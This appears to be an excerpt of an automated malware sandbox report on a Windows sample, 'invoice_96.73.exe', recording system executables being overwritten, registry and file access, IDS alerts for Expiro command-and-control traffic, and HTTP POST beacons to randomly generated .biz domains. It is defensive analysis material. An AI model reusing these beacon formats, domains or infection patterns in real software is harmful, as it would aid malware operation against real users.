Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\ehome\ehsched.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\jabswitch.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\rmid.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\ieetwcollector.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\java-rmi.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\javacpl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\kinit.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\ktab.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\tnameserv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\jp2launcher.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\policytool.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\ehome\ehrecvr.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\keytool.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\orbd.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\dllhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\jjs.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\invoice_96.73.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\servertool.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\unpack200.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\sppsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\CCleaner\CCleaner.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\klist.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\pack200.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\rmiregistry.exe	Jump to behavior

Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\Progid	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler32	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\AcroApp\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Esl\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\AcroApp\ENU\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.22:52781 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.22:49176 -> 47.129.31.212:80
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.22:49881 -> 8.8.8.8:53

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: unknown

Network traffic detected: DNS query count 37

Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View	IP Address: 34.246.200.160 34.246.200.160

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 47.129.31.212:80 -> 192.168.2.22:49176
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 47.129.31.212:80 -> 192.168.2.22:49176
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.244.188.177:80 -> 192.168.2.22:49187
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.244.188.177:80 -> 192.168.2.22:49187
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.246.200.160:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.246.200.160:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.22:49179
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.22:49179
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 13.251.16.150:80 -> 192.168.2.22:49177
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 13.251.16.150:80 -> 192.168.2.22:49177
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.246.231.120:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.246.231.120:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 35.164.78.200:80 -> 192.168.2.22:49188
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 35.164.78.200:80 -> 192.168.2.22:49188
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.22:49189
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.22:49189

Source: global traffic	HTTP traffic detected: POST /qbdegkuges HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /qbdegkuges HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic	HTTP traffic detected: POST /bpewylwxymwihal HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic	HTTP traffic detected: POST /xuofommcmtwcs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /dyk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /xtaadg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /nabdw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /vccrolpmtjge HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /ydlpotfktdldc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /prfudb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /qmufc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /webejpnbfwojkbv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /p HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xlfhhhm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /rkqa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ifsaia.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /ovknk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: saytjshyf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /nm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vcddkls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /hwxehcd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /kbtuvb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /ebyryipv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /vhlxvyk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: deoci.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /aphnqtgnwfpgg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /cmjndgqt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
Source: global traffic	HTTP traffic detected: POST /nqtlxhjrub HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qaynky.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 852
